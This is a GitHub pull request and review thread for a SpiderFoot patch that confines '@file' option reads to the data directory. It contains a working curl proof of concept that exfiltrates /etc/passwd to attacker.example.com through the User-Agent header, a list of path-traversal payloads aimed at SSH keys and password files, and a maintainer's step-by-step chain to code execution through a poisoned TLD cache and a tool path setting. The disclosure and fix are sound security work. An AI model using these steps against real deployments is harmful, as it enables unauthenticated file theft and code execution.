fix(sflib): prevent path traversal in optValueToData (@file)

[sebastiondev]

Summary

SpiderFoot.optValueToData() in sflib.py treats any option value beginning with @ as a file path and reads it from disk with no path restrictions:

if val.startswith('@'):
    fname = val.split('@')[1]
    ...
    with open(fname, "r") as f:
        return f.read()

Several built-in config options (most notably _useragent and _internettlds) are passed through optValueToData() at scan start (see sfscan.py:196 and sfscan.py:202). Because the saved-settings endpoint accepts arbitrary string values for these options, an authenticated user — or any user at all on a default Docker deployment, which is unauthenticated — can set _useragent to @/etc/passwd (or any absolute/relative path), start a scan, and have the file contents loaded as the user-agent string. While the loaded contents aren't echoed back through /opts directly, they flow into outbound HTTP requests as the User-Agent header, and any attacker-controlled HTTP destination receives the file content. The setting is also visible via the settings export.

• CWE-22 — Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal")
• Severity: High on default Docker deployments (unauthenticated), Medium on passwd-protected deployments (authenticated arbitrary local file disclosure)
• Affected function: SpiderFoot.optValueToData() — sflib.py:142
• Sink: open(fname, "r").read() with fname derived from val.split('@')[1]
• Source: option values written by /savesettings and /savesettingsraw (sfwebui.py:1088, sfwebui.py:1155), persisted via dbh.configSet, then consumed by sfscan.py:196 when a scan starts

Why this is actually exploitable

Three things turn this into a real issue rather than a theoretical one:

1. Default Docker deployment is unauthenticated. Dockerfile exposes port 5001 and sf.py:497-538 only enables CherryPy's auth_digest if ~/.spiderfoot/passwd exists on disk. The official docker run -p 5001:5001 spiderfoot invocation documented in the Dockerfile does not mount a passwd file, so the web UI is reachable with no credentials.
2. There is no path validation before open(). The original code does val.split('@')[1] — absolute paths, .. traversal, and symlinks all work.
3. The loaded data leaves the box. _useragent is sent as the User-Agent header by every outbound request the scan makes, so an attacker who controls (or merely observes traffic to) any host the scan targets receives the file contents. Even without that, the value is retrievable through the settings export.

The most damaging targets on a typical install are ~/.spiderfoot/passwd (HA1 digest hashes — Digest HA1 is unsalted MD5(user:realm:password) and is offline-crackable), private SSH keys when SpiderFoot runs as a regular user, and /etc/shadow when it runs as root inside the container.

Fix

Restrict @-prefixed file reads to the SpiderFoot data directory (SpiderFootHelpers.dataPath(), defaulting to ~/.spiderfoot/). Resolution uses os.path.realpath() on both sides and os.path.commonpath() to defeat symlink and .. tricks. Relative paths are anchored to the data dir; absolute paths must already point inside it.

data_root = os.path.realpath(SpiderFootHelpers.dataPath())
requested = os.path.realpath(
    os.path.join(data_root, fname) if not os.path.isabs(fname) else fname
)
if (requested != data_root
        and os.path.commonpath([requested, data_root]) != data_root):
    self.error(...); return None

Also switched val.split('@')[1] to val.split('@', 1)[1] so filenames containing @ aren't silently truncated.

The fix is scoped to optValueToData() and does not affect URL handling (http:// / https:// values) or plain-string passthrough. No other call sites of optValueToData were modified.

Known docs follow-up (not part of this PR)

sf.py:78 and modules/sfp_portscan_tcp.py:52 both document @/home/bob/useragents.txt as an example, which will stop working since /home/bob/ is outside the data dir. Users with this layout should move the file into ~/.spiderfoot/ (or pass an absolute path inside it). Happy to follow up with a docs PR if useful — kept it out of this diff to keep the security change minimal and easy to review.

Tests

Added a unit test for the refusal case and updated the existing positive test to place its fixture inside SpiderFootHelpers.dataPath():

$ python -m pytest test/unit/test_spiderfoot.py -k optValueToData
================ 4 passed, 77 deselected ================

$ python -m pytest test/unit/test_spiderfoot.py
================ 77 passed, 4 skipped ================

New test:

def test_optValueToData_argument_val_filename_outside_data_dir_should_return_None(self):
    """@-prefixed paths outside the SpiderFoot data directory must be refused (CWE-22)."""
    sf = SpiderFoot(self.default_options)
    opt_data = sf.optValueToData("@/etc/hosts")
    self.assertIsNone(opt_data)

I also manually verified the following payloads all return None on the patched build (and confirmed each one returns the file's contents on the parent commit 9746aa1):

@/etc/passwd
@/etc/hosts
@/root/.ssh/id_rsa
@../../../../etc/passwd
@./../../../etc/passwd
@//etc/passwd

Proof of Concept

Tested against a vanilla checkout (docker run -p 5001:5001 spiderfoot — no passwd file mounted). Replace the host as appropriate.

HOST="http://127.0.0.1:5001"

# 1. Fetch the CSRF token rendered into /opts (the only gate on /savesettingsraw).
TOKEN=$(curl -s "$HOST/opts" | grep -oE "token['\"]?\s*[:=]\s*['\"]?[0-9]+" | grep -oE '[0-9]+' | head -1)
echo "token=$TOKEN"

# 2. Set _useragent to @/etc/passwd via /savesettingsraw.
PAYLOAD='{"_useragent":"@/etc/passwd"}'
curl -s -X POST "$HOST/savesettingsraw" \
     --data-urlencode "allopts=$PAYLOAD" \
     --data-urlencode "token=$TOKEN"
# -> ["SUCCESS",""]

# 3. Start any scan against a host the attacker controls (or any reachable HTTP
#    endpoint that logs User-Agent). When sfscan.py:196 runs
#    optValueToData(self.__config['_useragent']), the contents of /etc/passwd
#    are loaded and then sent as the User-Agent on every outbound request the
#    scan makes (e.g. modules calling SpiderFoot.fetchUrl()).
curl -s -X POST "$HOST/startscan" \
     --data-urlencode 'scanname=poc' \
     --data-urlencode 'scantarget=attacker.example.com' \
     --data-urlencode 'modulelist=module_list' \
     --data-urlencode 'typelist=' \
     --data-urlencode 'usecase=all'

# 4. On attacker.example.com, observe the inbound request:
#    User-Agent: root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:...

On the patched build, step 3 logs Refusing to load option file outside SpiderFoot data directory (...): /etc/passwd and the scan proceeds with _useragent set to None, so no file contents leave the box.

On passwd-protected deployments the same flow works after presenting the Digest credentials — the bug is exploitable by any authenticated user, including read-only operators who happen to have settings access.

Adversarial review

Before submitting, I tried to disprove this:

• "The endpoint requires a CSRF token, so it's not really unauthenticated." The token is rendered into the public /opts page response. One GET /opts followed by POST /savesettingsraw is a two-request exploit; there is no out-of-band secret.
• "Authentication is on by default." It isn't. sf.py:497-538 only flips tools.auth_digest.on to true if a passwd file already exists on disk, and the official Dockerfile creates no such file. Fresh docker run deployments are open.
• "Maybe there's an equivalent primitive already — the bug is redundant." I checked the other web-UI paths that touch the filesystem. configFile upload reads attacker-supplied content (not server files), and tool-path options like nmappath are gated by os.path.isfile(exe) and feed subprocess, not arbitrary read(). Neither gives a plain file-disclosure primitive the way @<path> does.
• "SpiderFoot is single-user-by-design, so file-read = file-read." It isn't single-user — sf.py:507 parses a multi-line user:password file. And on Docker the threat model includes remote unauthenticated attackers, which clearly aren't "the operator."
• "Loaded contents never leave the box." They do — they become the User-Agent header on every outbound HTTP request the scan makes (SpiderFoot.fetchUrl() uses _useragent). An attacker-controlled scan target receives them. They're also retrievable via the settings export.

The fix is intentionally narrow: it only constrains the @-file-read branch of optValueToData(). URL handling and plain string values are untouched, and there's no behavior change for files that already live in ~/.spiderfoot/.

---

_{Discovered by the Sebastion AI GitHub App.}

[bcoles]

The intention was to load arbitrary files.

You can also abuse _internettlds to execute arbitrary code, which is arguably worse.

[sebastiondev]

Thanks for taking a look, and for pushing back on the framing — both points are fair.

On "the intention was to load arbitrary files": noted. I kept the @-prefix feature working, just constrained it to the SpiderFoot data directory (~/.spiderfoot/ or SPIDERFOOT_DATA). The aim was to preserve the documented use case (@/path/to/useragents.txt etc.) while removing the path where a web-UI-reachable option value can read ~/.spiderfoot/passwd, /etc/shadow, SSH keys, etc. Happy to revisit the restriction location (e.g. anchor to dataPath() plus the user's home dir, or take a configurable allow-list) if you'd prefer a different shape.

On code execution via _internettlds: I want to fix this if it's real, but I traced the consumers and I'm not seeing the primitive — could you point me at the path you have in mind? Here's what I see today:

• sfscan.py:202 calls optValueToData(self.__config['_internettlds']). Result is a str.
• sfscan.py:207 caches it via cachePut("internet_tlds", tld_data) → ~/.spiderfoot/cache/<sha224("internet_tlds")>. Label is a constant, so the filename is deterministic — no path traversal via the cache write that I can see.
• sfscan.py:209 does tld_data.splitlines() and the list flows into PublicSuffixList(tldList, only_icann=True) (frozenset of strings, no code execution), sfp_tldsearch.py:172 (f"{keyword}.{tld}" → resolveHost), and the isDomain/hostDomain/validHost/domainKeyword helpers (all PSL lookups).

The URL branch of optValueToData (http(s)://) is untouched by this PR — it still fetches whatever URL you point it at and returns the body — but the body is treated as a string / list of strings. I couldn't find a sink that turns those into executable code (no pickle, unsafe YAML loader, dynamic __import__, or subprocess consuming a TLD value).

If the chain is something like (a) URL-branch SSRF → poison cache → (b) @ re-read of the cache file → (c) some downstream sink, I'd love the specifics so I can extend the fix in this PR rather than land a partial mitigation. Same if it's a path through a module I missed — the _internettlds option is used by ~60 modules, so it's plausible I'm missing one.

Tests on the current diff:

$ python -m pytest test/unit/test_spiderfoot.py -k optValueToData
================ 4 passed, 77 deselected ================

[bcoles]

The real issue is lack of authentication by default.

Although the password parsing code can theoretically handle multiple user:pass combinations, it was never intended to differentiate multiple users.

On code execution via _internettlds: I want to fix this if it's real, but I traced the consumers and I'm not seeing the primitive — could you point me at the path you have in mind?

Many sfp_tool_* modules allow specifying the path to the tool executable.

self.sf.cachePut("internet_tlds", self.config['_internettlds'])

cache/95c5dab788d19e124540cb1e96e6277f0871c648f4b3f2526fa1f765

In settings:

change:
https://publicsuffix.org/list/effective_tld_names.dat
72

to:
http://example/payload
-1

sfp_tool_whatweb change:
/root/Desktop/whatweb/whatweb

to:
/root/Desktop/spiderfoot/cache/95c5dab788d19e124540cb1e96e6277f0871c648f4b3f2526fa1f765

Create a scan with the sfp_tool_whatweb module.

The sfp_tool_whatweb module executes the provided path using the ruby interpreter, so the cache file does not need execute permissions (chmod +x).